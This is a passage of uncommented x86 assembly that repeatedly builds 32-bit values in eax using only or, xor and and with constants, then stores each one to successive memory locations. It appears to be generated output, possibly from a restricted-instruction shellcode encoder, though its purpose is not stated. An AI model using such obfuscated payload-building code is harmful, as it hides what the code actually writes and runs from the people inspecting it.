or eax, 0x2a0000e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bb09dbf
or eax, 0x920796f
and eax, 0x9a085c7
or eax, 0x84020200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a9adbf5
or eax, 0x36460faa
and eax, 0xa33e46a2
or eax, 0x8818004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70b9866a
xor eax, 0xe096d46
and eax, 0x41052402
or eax, 0x2c05231
mov dword [ebx], eax
add ebx, edx
xor eax, 0x399c14e0
and eax, 0x22500291
or eax, 0x520980c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f44ecb2
and eax, 0x34022a
or eax, 0x24038090
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5156455b
and eax, 0x35adb3b
and eax, 0x1404301
or eax, 0x171452
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e74a13d
and eax, 0x56430245
or eax, 0x80800880
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e733bf2
and eax, 0x3e010b34
or eax, 0x4c000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xdc0412b
and eax, 0x22018802
or eax, 0x88222560
mov dword [ebx], eax
add ebx, edx
or eax, 0x57f16ca8
or eax, 0x7d95bb8f
and eax, 0x5c3ac4e
or eax, 0x80010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25e888a8
or eax, 0x3d790999
and eax, 0x2129203e
or eax, 0x2844200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32315308
and eax, 0x1880022
or eax, 0xca610e88
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b844173
and eax, 0x9000000
or eax, 0xa0637205
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c9c3ed7
and eax, 0x8003201
or eax, 0xd6648522
mov dword [ebx], eax
add ebx, edx
or eax, 0x768ad437
and eax, 0x622e0520
or eax, 0x100088
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ad229bc
and eax, 0x58a82004
or eax, 0x60203a9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16210363
and eax, 0x74eff75e
and eax, 0x1200c
or eax, 0x3c040ba0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b180611
and eax, 0x24002401
or eax, 0x80228242
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ce258f1
and eax, 0x10809837
and eax, 1
or eax, 0x5c9ac7e
mov dword [ebx], eax
add ebx, edx
or eax, 0x155b7a59
xor eax, 0x209c8c93
and eax, 0x2105622c
or eax, 0x2a00012
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b12bcf7
and eax, 0xba45eaa
or eax, 0xc0080000
mov dword [ebx], eax
add ebx, edx
and eax, 0xea1512a
and eax, 0x4e5c1f7e
and eax, 0x8000000
or eax, 0xa5722905
mov dword [ebx], eax
add ebx, edx
xor eax, 0x703261d0
and eax, 0x8c400801
or eax, 0x200ea222
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c78b176
and eax, 0x201e0143
or eax, 0x42000488
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b9dbc2d
xor eax, 0x4aa189a7
and eax, 0x52222001
or eax, 0xc8803ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x270d317e
and eax, 0x3e0503bc
or eax, 0x10c800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e43e155
and eax, 0x2a01a960
or eax, 0x80200402
mov dword [ebx], eax
add ebx, edx
or eax, 0x527b4eac
and eax, 0x4baa4e
or eax, 0x5800010
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bb44af0
and eax, 0x23189ceb
and eax, 0x2308002a
or eax, 0xa56214
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f8d3f9e
and eax, 0xbac58aa
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf57cc53
xor eax, 0x60433e06
and eax, 0xa4202a05
or eax, 0x9421400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f19eebf
and eax, 0xa00a8022
or eax, 0xc042a01
mov dword [ebx], eax
add ebx, edx
or eax, 0x103706c2
and eax, 0x203a04c3
or eax, 0x42000108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x166edffe
and eax, 0x54000225
or eax, 0xaaa2188
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b9421e9
or eax, 0x6683d61b
and eax, 0x6605c00c
or eax, 0x180009a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x45e7b277
xor eax, 0x3b17ab13
and eax, 0x3a022927
or eax, 0x80218440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x609cbeea
and eax, 0x9b000c
or eax, 0x540ac52
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c9d6ab4
and eax, 0x53e88c8
and eax, 0x1040008
or eax, 0x32a96236
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ff1e3c7
xor eax, 0xd9eec62
and eax, 0xa3c0e20
or eax, 0xc180508a
mov dword [ebx], eax
add ebx, edx
or eax, 0x47343ba5
xor eax, 0x39c0924e
and eax, 0xa4602c01
or eax, 0x9021204
mov dword [ebx], eax
add ebx, edx
and eax, 0x6923253b
and eax, 0x4457234d
and eax, 0x22001
or eax, 0xac5c9a22
mov dword [ebx], eax
add ebx, edx
or eax, 0x418cb5a5
and eax, 0x601e8583
or eax, 0x2000048
mov dword [ebx], eax
add ebx, edx
and eax, 0x6443274a
and eax, 0x40020508
or eax, 0x1ea86aa5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3895271b
and eax, 0x7f77b3ad
and eax, 0x262400a4
or eax, 0x18000b08
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ee196f9
and eax, 0x4e90598d
and eax, 0xa000100
or eax, 0xa0238462
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cac69d7
and eax, 0x42
or eax, 0x5cbac1c
mov dword [ebx], eax
add ebx, edx
or eax, 0x313bdfa8
and eax, 0x21a9623e
or eax, 0x2040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x109aff5
or eax, 0x496b6f6c
and eax, 0x49284e28
or eax, 0x82841082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60809a3
and eax, 0x8d201601
or eax, 0x20422804
mov dword [ebx], eax
add ebx, edx
and eax, 0x115ad295
and eax, 0x420201
or eax, 0xac1ca822
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c07a62a
xor eax, 0x5ce81f0
and eax, 0x601005cb
or eax, 0x22e0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a4f35a5
or eax, 0xc48e8cf
and eax, 0x5e6a21ad
or eax, 0x800200
mov dword [ebx], eax
add ebx, edx
and eax, 0x714d4e18
and eax, 0x10000208
or eax, 0x2e05dda4
mov dword [ebx], eax
add ebx, edx
and eax, 0x353d9490
and eax, 0x20019000
or eax, 0x8a020162
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22b3551d
or eax, 0x319db8a6
and eax, 0x189945e
or eax, 0x4420000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2488d4e4
and eax, 0x880004
or eax, 0x2325623a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x501be890
and eax, 0x43a40aaa
or eax, 0x88085400
mov dword [ebx], eax
add ebx, edx
or eax, 0xea68dfa
or eax, 0x2d3a9ae1
and eax, 0xad221e01
or eax, 0x402004
mov dword [ebx], eax
add ebx, edx
and eax, 0x56d46382
and eax, 0x5d3ab22c
and eax, 0x4002200
or eax, 0xa85e8823
mov dword [ebx], eax
add ebx, edx
and eax, 0x48228723
and eax, 0x20003
or eax, 0x623c05c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x584f5fd
and eax, 0x46aa2024
or eax, 0x18000389
mov dword [ebx], eax
add ebx, edx
or eax, 0x3de72350
and eax, 0x2cfd3c7f
and eax, 0x2c05002c
or eax, 0x1200cb80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f4f3ce
and eax, 0x28212862
or eax, 0x82028500
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e65d6ab
xor eax, 0x400c734c
and eax, 0x44b8c06
or eax, 0x1802058
mov dword [ebx], eax
add ebx, edx
xor eax, 0x545c9099
and eax, 0x64461cc2
and eax, 0x40002
or eax, 0x23a9623c
mov dword [ebx], eax
add ebx, edx
or eax, 0x374a6df0
and eax, 0x1996fdb2
and eax, 0x1844ca2
or eax, 0xca081208
mov dword [ebx], eax
add ebx, edx
or eax, 0xcd622e1
and eax, 0x8d423601
or eax, 0x20200004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c113931
and eax, 0xa0520a20
or eax, 0xc0ca003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26bfefb1
and eax, 0x2200582
or eax, 0x601e0049
mov dword [ebx], eax
add ebx, edx
or eax, 0x990655f
or eax, 0x5a51fdf4
and eax, 0x5aaa21ad
or eax, 0x4000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62ac5e7f
xor eax, 0x3da0543e
and eax, 0x409ac
or eax, 0x3e01c200
mov dword [ebx], eax
add ebx, edx
and eax, 0x2508ea59
and eax, 0x20008800
or eax, 0x8a232562
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72b548a5
and eax, 0x82a446
or eax, 0x5490818
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ab6fec5
and eax, 0x6d94c1e
or eax, 0x40000020
mov dword [ebx], eax
add ebx, edx
or eax, 0x236406d3
and eax, 0x43ac0ad2
or eax, 0x88002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x39f79e9b
and eax, 0x9200800
or eax, 0xa4420105
mov dword [ebx], eax
add ebx, edx
and eax, 0x22c18b27
and eax, 0x20400801
or eax, 0x8c0ea222
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cf33661
xor eax, 0x1485ebb1
and eax, 0x603805c3
or eax, 0x2040008
mov dword [ebx], eax
add ebx, edx
or eax, 0x49ab22b3
or eax, 0x1975d5b8
and eax, 0x5aae23a9
or eax, 0x4000004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e653079
and eax, 0x20010384
or eax, 0x1e04c828
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57512a9
xor eax, 0x5fb8eea8
and eax, 0x20002520
or eax, 0x8a238842
mov dword [ebx], eax
add ebx, edx
and eax, 0x39008534
and eax, 0x8400
or eax, 0x5cb285e
mov dword [ebx], eax
add ebx, edx
and eax, 0x43a6a14
and eax, 0x4ea0b2f8
and eax, 0x10
or eax, 0x23ad422e
mov dword [ebx], eax
add ebx, edx
and eax, 0x134ccf3c
and eax, 0x21c22c55
and eax, 0x1000000
or eax, 0xaede70ca
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46b34bca
xor eax, 0x28686457
and eax, 0x81014a44
or eax, 0x2c020020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e03d391
and eax, 0xc5187d
and eax, 0x21
or eax, 0xac5ca002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b1bab78
and eax, 0x206014b
or eax, 0x60180480
mov dword [ebx], eax
add ebx, edx
and eax, 0x1624469e
and eax, 0x734c2187
and eax, 0x2040080
or eax, 0x5caa232d
mov dword [ebx], eax
add ebx, edx
or eax, 0x69dfe461
and eax, 0x7f474f1d
and eax, 0x3e03430c
or eax, 0x88a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7011dea7
or eax, 0x7453a5a6
and eax, 0x2a03ad22
or eax, 0x80200040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d5fed46
xor eax, 0x6e3d126a
and eax, 0x141004e
or eax, 0x48aac10
mov dword [ebx], eax
add ebx, edx
and eax, 0x4af21839
xor eax, 0x5c7b298c
and eax, 0xa92014
or eax, 0x2304422a
mov dword [ebx], eax
add ebx, edx
and eax, 0x78dfbb50
xor eax, 0x614f3f26
and eax, 0x41801c22
or eax, 0x8a2c0288
mov dword [ebx], eax
add ebx, edx
and eax, 0x64a19c4a
and eax, 0x5f316b7d
and eax, 0x40000000
or eax, 0x8c061045
mov dword [ebx], eax
add ebx, edx
and eax, 0x200f6f11
or eax, 0x7a440f53
and eax, 0x28460b53
or eax, 0x8418c004
mov dword [ebx], eax
add ebx, edx
and eax, 0xb79db59
xor eax, 0x36d922ad
and eax, 0x220001c8
or eax, 0x403e0003
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d3dbbe0
or eax, 0x569c9873
and eax, 0x569801a1
or eax, 0x802220c
mov dword [ebx], eax
add ebx, edx
or eax, 0x34115e3e
and eax, 0x3e014bac
or eax, 0x48000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fd9b95c
and eax, 0x2060
or eax, 0xaa238d02
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b17948a
and eax, 0x103ac4a
or eax, 0x4c80014
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e6e04a6
and eax, 0x80006
or eax, 0x23a56238
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d0c8c8e
or eax, 0xd5dcc46
and eax, 0xbac4eaa
or eax, 0xc0001000
mov dword [ebx], eax
add ebx, edx
or eax, 0x57437d55
and eax, 0x8d627e05
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2377ca70
and eax, 0x1200000
or eax, 0xc80c84e3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75876e9c
and eax, 0x20096a27
or eax, 0x42540080
mov dword [ebx], eax
add ebx, edx
and eax, 0x2de90f1d
xor eax, 0x1e38caef
and eax, 0x1e2000a8
or eax, 0x408a3705
mov dword [ebx], eax
add ebx, edx
and eax, 0x4eaeeb1d
or eax, 0x37e37b17
and eax, 0x3e414b0c
or eax, 0x480a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x41c8c88d
and eax, 0x4f80aa8c
and eax, 0xa008800
or eax, 0xa0212562
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a97804c
and eax, 0x76dae8a5
and eax, 0x802804
or eax, 0x541845a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x621a8c9f
xor eax, 0x29ad1b3
and eax, 0x21016032
or eax, 0x2ac020c
mov dword [ebx], eax
add ebx, edx
and eax, 0xb12aa3d
or eax, 0x5a7c6bff
and eax, 0x4b2c4aaa
or eax, 0x80801400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a8b21f8
xor eax, 0x7f7b1d10
and eax, 0x8c402200
or eax, 0x21221c05
mov dword [ebx], eax
add ebx, edx
or eax, 0x14c4e663
xor eax, 0x160d58d5
and eax, 0xa84aa222
or eax, 0x4144801
mov dword [ebx], eax
add ebx, edx
or eax, 0x619aba21
and eax, 0x601e0001
or eax, 0x2200588
mov dword [ebx], eax
add ebx, edx
or eax, 0x38b9568c
xor eax, 0x15d7a25c
and eax, 0x4e282181
or eax, 0x1082022c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a789765
and eax, 0x1e0083ac
or eax, 0x20054800
mov dword [ebx], eax
add ebx, edx
and eax, 0x10388ecb
and eax, 0x4c4a8f7b
and eax, 0x8800
or eax, 0xaa232562
mov dword [ebx], eax
add ebx, edx
and eax, 0x5681466b
xor eax, 0x1da3c29b
and eax, 0x5828458
or eax, 0x492806
mov dword [ebx], eax
add ebx, edx
and eax, 0x65f2eabf
or eax, 0x5495eba
and eax, 0x189623e
or eax, 0x22240000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53f87df7
and eax, 0x40041e88
or eax, 0x8ba84022
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f223493
and eax, 0x345b0bf2
and eax, 0x24020a00
or eax, 0x89603405
mov dword [ebx], eax
add ebx, edx
or eax, 0x145dae7e
and eax, 0xac5eaa23
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7950d91
and eax, 0x140001
or eax, 0x622a05ca
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e2d0062
and eax, 0xc0201a9
or eax, 0x52a82204
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bd40ef5
and eax, 0xa0002a4
or eax, 0x3405c908
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bfeb642
and eax, 0x51ce1e97
and eax, 0x20c02
or eax, 0xaa21a160
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bc8e398
and eax, 0x1cb0c5a
or eax, 0x400a004
mov dword [ebx], eax
add ebx, edx
or eax, 0x30f30145
and eax, 0x7eb19321
and eax, 0x20a10000
or eax, 0x30c623e
mov dword [ebx], eax
add ebx, edx
or eax, 0x37ad3bf4
xor eax, 0x69e4b773
and eax, 0x4a084c88
or eax, 0x81a41222
mov dword [ebx], eax
add ebx, edx
or eax, 0x198cf6b9
and eax, 0x7b12a954
and eax, 0x9002800
or eax, 0xa4621605
mov dword [ebx], eax
add ebx, edx
and eax, 0x77a63f84
and eax, 0x24022a00
or eax, 0x885c8023
mov dword [ebx], eax
add ebx, edx
or eax, 0x333a9068
and eax, 0x223e004b
or eax, 0x40000580
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f72376c
xor eax, 0x7136edf0
and eax, 0x1e08020d
or eax, 0x40a221a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fcbf621
xor eax, 0x1e955e59
and eax, 0x489a4
or eax, 0x3e014208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7248406c
and eax, 0x8018940
or eax, 0xa2222422
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d3cc291
and eax, 0x50b2c52
or eax, 0xc0800c
mov dword [ebx], eax
add ebx, edx
and eax, 0x7397582
and eax, 0x1092002
or eax, 0x22a4423c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3efe1f66
and eax, 0x45632beb
and eax, 0x1200a2a
or eax, 0xca8c5480
mov dword [ebx], eax
add ebx, edx
or eax, 0x293cbfa1
or eax, 0x389df3df
and eax, 0xa9203e05
or eax, 0x4420000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e56649c
and eax, 0xa0140a01
or eax, 0xc4aa022
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d8e616e
and eax, 0x201e014b
or eax, 0x42200480
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ad4f2e8
and eax, 0x4aaa23a9
or eax, 0x14000004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cd614fa
and eax, 0x12040304
or eax, 0x2c01c8a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x15615dcc
and eax, 0x10900
or eax, 0xaa22a462
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b0326ac
and eax, 0x100884e
or eax, 0x4cb2410
mov dword [ebx], eax
add ebx, edx
or eax, 0x130ec0ee
and eax, 0x38d603e
or eax, 0x20200200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46221d03
and eax, 0x539dfe10
and eax, 0x418c5e00
or eax, 0x8a2000aa
mov dword [ebx], eax
add ebx, edx
or eax, 0x4bd2b620
or eax, 0x7696894f
and eax, 0xad623e05
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x703958d9
and eax, 0x8c5a2200
or eax, 0x20048823
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbfdb24c
and eax, 0x2222004b
or eax, 0x401c0580
mov dword [ebx], eax
add ebx, edx
or eax, 0x6901080e
and eax, 0x4a2a018d
or eax, 0x14802220
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29c88bb1
or eax, 0x7608f494
and eax, 0x3600c88c
or eax, 0x8050320
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47d4b0ee
and eax, 0x28012942
or eax, 0x82228420
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58d894de
and eax, 0x4491ad4b
and eax, 0x812808
or eax, 0x54a8456
mov dword [ebx], eax
add ebx, edx
or eax, 0x3941470
or eax, 0x26d4f757
and eax, 0x238d623e
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
or eax, 0x53798ce6
and eax, 0x43ac4eaa
or eax, 0x88001000
mov dword [ebx], eax
add ebx, edx
or eax, 0xc160075
xor eax, 0x3ef93137
and eax, 0xa1422e00
or eax, 0xc201005
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e7bea8
and eax, 0xac46aa21
or eax, 0x180002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77e393f5
and eax, 0x72fd23a9
and eax, 0x423c0180
or eax, 0x2002044b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7540c50a
and eax, 0x562a0189
or eax, 0x8802224
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cbc3162
and eax, 0x2cf56b4b
and eax, 0x40208
or eax, 0x3e01c9a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7262951a
and eax, 0x8230c22
or eax, 0xa200a140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ab0d353
and eax, 0x832c10
or eax, 0x548804e
mov dword [ebx], eax
add ebx, edx
and eax, 0x44a3be3
xor eax, 0x199bc902
and eax, 0x1816000
or eax, 0x222c023e
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d2c33d7
and eax, 0xbac52aa
or eax, 0xc0000c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68df4ce2
or eax, 0xace922b
and eax, 0xa9621201
or eax, 0x4002c04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c0e7c8a
and eax, 0xa04c0203
or eax, 0xc12a820
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d109d98
and eax, 0x601e058b
or eax, 0x2200040
mov dword [ebx], eax
add ebx, edx
and eax, 0x52ba0614
and eax, 0x2853b043
and eax, 0x20000
or eax, 0x5ea823ad
mov dword [ebx], eax
add ebx, edx
and eax, 0x376b18e
xor eax, 0x3914f2c9
and eax, 0x3a04c304
or eax, 0x40108a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x549c9530
and eax, 0x2a010c00
or eax, 0x8022a162
mov dword [ebx], eax
add ebx, edx
or eax, 0x41fe330a
or eax, 0x5fb40e8b
and eax, 0x5cbac4a
or eax, 0x14
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b3c759f
xor eax, 0x4479a40
and eax, 0x10d221e
or eax, 0x22a04020
mov dword [ebx], eax
add ebx, edx
and eax, 0x386f79f4
and eax, 0x2c4020
or eax, 0xcb801e8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x772d245c
and eax, 0xac003a04
or eax, 0x1620401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x692fdfc9
or eax, 0x2274da89
and eax, 0xa45caa01
or eax, 0x8020022
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b1ebb53
and eax, 0x201e0003
or eax, 0x422005c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x17a9a056
and eax, 0x56aa218d
or eax, 0x8000220
mov dword [ebx], eax
add ebx, edx
and eax, 0x6355214f
or eax, 0x76f02f
and eax, 0x204c12c
or eax, 0x3c010a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b80dee0
and eax, 0x757ad7f6
and eax, 0x540
or eax, 0xaa23a822
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b8689c
and eax, 0x48bac5e
or eax, 0x1400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4699c29c
and eax, 0x89001c
or eax, 0x23246222
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ee94c01
and eax, 0x1daa41b3
and eax, 0xa84000
or eax, 0xcb041eaa
mov dword [ebx], eax
add ebx, edx
or eax, 0x29328ec8
and eax, 0xa9221e00
or eax, 0x4402005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6bc221b8
and eax, 0x84000a21
or eax, 0x285ea002
mov dword [ebx], eax
add ebx, edx
or eax, 0x41776262
and eax, 0x603e0043
or eax, 0x2000588
mov dword [ebx], eax
add ebx, edx
and eax, 0x10d541da
or eax, 0x14374dd0
and eax, 0x14220188
or eax, 0x4a882225
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c0a44ed
and eax, 0x1e0043ac
or eax, 0x20058800
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a5bd20f
and eax, 0x2a038922
or eax, 0x80202440
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c609bae
and eax, 0x4ab56ad7
and eax, 0x12846
or eax, 0x5ca8418
mov dword [ebx], eax
add ebx, edx
and eax, 0xbffd6fc
or eax, 0x1dc0d267
and eax, 0x189423e
or eax, 0x22242000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa3ce98b
xor eax, 0xaf7d5bb
and eax, 0x3245e0a
or eax, 0xc88800a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x284429aa
and eax, 0xa9603e00
or eax, 0x4020005
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f2ba74c
and eax, 0xac4aaa01
or eax, 0x140022
mov dword [ebx], eax
add ebx, edx
or eax, 0x316bf583
and eax, 0x203e0583
or eax, 0x42000048
mov dword [ebx], eax
add ebx, edx
or eax, 0x10e0160e
and eax, 0x52aa038d
or eax, 0xc002020
mov dword [ebx], eax
add ebx, edx
and eax, 0x19b58282
and eax, 0x18000280
or eax, 0x2605c92c
mov dword [ebx], eax
add ebx, edx
or eax, 0x46824a32
and eax, 0x2a038922
or eax, 0x80202440
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ce9260f
or eax, 0x56271a17
and eax, 0x4032c16
or eax, 0x1c88048
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f3703f8
and eax, 0x2ac2226
or eax, 0x21014018
mov dword [ebx], eax
add ebx, edx
or eax, 0x2685c3eb
and eax, 0x58c8f6e9
and eax, 0x8842a8
or eax, 0xcb241c02
mov dword [ebx], eax
add ebx, edx
or eax, 0x74cad7ca
and eax, 0x59aff780
and eax, 0x9221600
or eax, 0xa4402805
mov dword [ebx], eax
add ebx, edx
and eax, 0x5da09f88
and eax, 0x280c5fef
and eax, 0x8000a00
or eax, 0xa45ea023
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3124d0e2
and eax, 0x3a00c1
or eax, 0x6204050a
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f4759e0
and eax, 0x2020180
or eax, 0x5ca8222d
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b62866a
and eax, 0xa000228
or eax, 0x3405c984
mov dword [ebx], eax
add ebx, edx
xor eax, 0x385d4da5
and eax, 0x2008400
or eax, 0xa8232962
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7abcf0c8
xor eax, 0x6515f5a3
and eax, 0x58aa808
or eax, 0x410456
mov dword [ebx], eax
add ebx, edx
or eax, 0x641359ab
and eax, 0x2189603e
or eax, 0x2240200
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c661703
and eax, 0x240202
or eax, 0xcb885ca8
mov dword [ebx], eax
add ebx, edx
or eax, 0x5971179d
and eax, 0x89601e05
or eax, 0x24022000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20baf95c
and eax, 0x1dc386b6
and eax, 0xc428200
or eax, 0xa01c2823
mov dword [ebx], eax
add ebx, edx
or eax, 0x183ab23f
and eax, 0x203e000b
or eax, 0x420005c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x278c030a
and eax, 0x4d497ced
and eax, 0x44080089
or eax, 0x1aa22324
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44861057
xor eax, 0x455865b6
and eax, 0x1e04420c
or eax, 0x200189a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c9b3dc4
and eax, 0x202c660
or eax, 0xc0210102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26a72b29
and eax, 0x4808c42
or eax, 0x114b0014
mov dword [ebx], eax
add ebx, edx
or eax, 0x27f1a242
and eax, 0x23892656
or eax, 0x45000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e6ded06
and eax, 0x64e82ba5
and eax, 0x4a00000
or eax, 0x300c34ba
mov dword [ebx], eax
add ebx, edx
xor eax, 0x417c66a4
and eax, 0x1c014e44
and eax, 0x4000200
or eax, 0xa9423c10
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a91b80
xor eax, 0x1224e77c
and eax, 0x6049830
or eax, 0x699a0003
mov dword [ebx], eax
add ebx, edx
or eax, 0xf1b44a2
and eax, 0x2fb6c55
and eax, 0x814001
or eax, 0x9d40a122
mov dword [ebx], eax
add ebx, edx
or eax, 0x636281ba
and eax, 0x9c620012
or eax, 0x81040
mov dword [ebx], eax
add ebx, edx
and eax, 0x30410ec0
and eax, 0x10400000
or eax, 0x2e2fcba0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74a407fc
and eax, 0xa038408
or eax, 0xa0002102
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c2eb5a8
and eax, 0x242b840a
or eax, 0x1c04044
mov dword [ebx], eax
add ebx, edx
or eax, 0x57306d1b
and eax, 0x76c72933
and eax, 0x22c32012
or eax, 0x104522c
mov dword [ebx], eax
add ebx, edx
or eax, 0x875862b
and eax, 0xc41cedb
and eax, 0x8004211
or eax, 0xe3ac0944
mov dword [ebx], eax
add ebx, edx
or eax, 0x43c644be
and eax, 0x43880e05
or eax, 0x4012000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a10ca51
and eax, 0xc18a000
or eax, 0xa0460a23
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2165caba
and eax, 0x28c1c4c6
and eax, 0x80
or eax, 0x623e054b
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bef714f
and eax, 0x1d8f3d18
and eax, 0xa0108
or eax, 0x5ea022a5
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fc8a2b6
and eax, 0x5a74035d
and eax, 0x1a00030c
or eax, 0x2405c8a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x464fbd
and eax, 0x2a038d20
or eax, 0x80202042
mov dword [ebx], eax
add ebx, edx
xor eax, 0x458413d1
